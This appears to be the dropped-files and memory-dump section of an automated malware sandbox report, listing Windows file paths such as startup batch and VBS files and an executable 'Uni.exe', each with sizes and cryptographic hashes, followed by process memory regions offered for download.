1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0869030f7e13786291243ca4a192588d

SHA1
b21e2f75666dd2d5d5dd841fa5d7e0cd9d5aaa9b

SHA256
7e40e2510ef6feb9e8532a55f3f54abc332cab5293dda19701c14e3d708de762

SHA512
900fe3627cc98aecb119f1efdf8fbc46e2ae861f9b27c667ba0164b253ae9728a84f610810a7f4c1a169fa1d6ed4a309e1bec4f4b5f6fb2f65f8b67062db923d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1fbbf712fe7afb8b9d118ea50b362b68

SHA1
015d64c5d23a3d32f314273d44779b497d4ec1c4

SHA256
9e350c7160cc69636897313ca63db9746485312aa2346b3629dec783322c2c84

SHA512
4bc10cfb2ea7339302ed76043160d1173b3708b21b6402d4087c81eb8f2165bbf0541cdacbea3a1b6a06f4d594feaac7a802ed3df7db751a3ada33d47d13677f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5b3d652371070a101abf31c5feae12dc

SHA1
b49570cde68379d64a45e692a158392fa48012b3

SHA256
612a34095ff6299aacf6ff02e61e8cdae1bfe4d6bf62d8c302284b2988ef5fbd

SHA512
4481f5fd198f787e9b64f2297d09566b53ab772c779f885f795f3bc1946baece2c553849c522ff6fd5d61cd653cf1de547ab4ac6eec6da26355b227db3a75277

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
76afb458030b8ea422b69e7381a2d180

SHA1
c9cc1c421428b5feefda78e7e0c7a7892311d019

SHA256
db58d284ba096140c22528d5fa06ef315d1e6663392b447d41112c892c14ed30

SHA512
debf8daaa41eb72ce042f44f813c3e8c6b607cf8dfe72946a92412293ee003227438a457bd6519b063f2d0f43b593a25247a5422a34d4f660f2e2a3ada523009

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pzf4przo.w1j.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\lpociz.bat

Filesize
3KB

MD5
ecde221cbc92ee55ae5b8c1a24e98f56

SHA1
ebda0dba4abcd3bf93183e2787cc9e5f9f1448ee

SHA256
b6fbab33e31d0a525d4c752886d812c1c46477f6314da7bde25bdc8198cb70cb

SHA512
122673ad96f1e407c75a93672f6538f342499f4e14221cbe4103c601362667487f3f33800230572e255b55e691e5068adce6336a4ffe1a651bff465d2c2d3493

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_153.bat

Filesize
359KB

MD5
358406bc7ed5155f85a5ff1c578ee295

SHA1
4e333529ae320ad77ebcc36fd9baa55796dc001d

SHA256
da95cdaddcd020f216d54f93ebb9f0c8246b9dc1d02d9df60d898bc6c58e8ecf

SHA512
0017064f87d9b5458e17c7e7348aa1ad0a3b1713ae44c202ab71e271b6a8a76bed7a3142cebe0b4a10c08220fbfae4f109a784151ca85130d48dbcb4dee65f45

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_153.vbs

Filesize
115B

MD5
455afbf4e024ce8a698280d54a0a0acf

SHA1
db2319502b47b9aa421bc420283c1097fdea42b4

SHA256
3c1478e1d8d6a676ac2ef983c1bf2f6b8739bab8b3e9827e76c1382c8af1cd49

SHA512
1c62e8ffc6056093b1fbecb359746b348a023ac50ced98b60ea01da07aaf27ef52019dc3e514e4ff481838ac550ed164dfce2c06dd0478db9e53d5bd97d62e70

Download Submit
C:\Users\Admin\Uni.exe

Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
memory/1388-79-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/1388-41-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/1388-44-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/1388-45-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/3504-383-0x00000157F8AA0000-0x00000157F8ADC000-memory.dmp

Filesize
240KB

Download
memory/3572-75-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/3572-12-0x000002059F9A0000-0x000002059FA16000-memory.dmp

Filesize
472KB

Download
memory/3572-59-0x00007FF8C0603000-0x00007FF8C0604000-memory.dmp

Filesize
4KB

Download
memory/3572-58-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/3572-29-0x000002059F960000-0x000002059F994000-memory.dmp

Filesize
208KB

Download
memory/3572-93-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/3572-5-0x000002059F7F0000-0x000002059F812000-memory.dmp

Filesize
136KB

Download
memory/3572-8-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/3572-28-0x000002059F940000-0x000002059F948000-memory.dmp

Filesize
32KB

Download
memory/3572-23-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/3572-0-0x00007FF8C0603000-0x00007FF8C0604000-memory.dmp

Filesize
4KB

Download
memory/3572-10-0x00007FF8C0600000-0x00007FF8C0FEC000-memory.dmp

Filesize
9.9MB

Download
memory/4316-120-0x0000019C77920000-0x0000019C77930000-memory.dmp

Filesize
64KB

Download
memory/4316-117-0x0000019C77940000-0x0000019C77974000-memory.dmp

Filesize
208KB

Download
memory/4316-425-0x0000019C78180000-0x0000019C782A0000-memory.dmp

Filesize
1.1MB

Download
memory/4316-476-0x0000019C5F610000-0x0000019C5F61A000-memory.dmp

Filesize
40KB

Download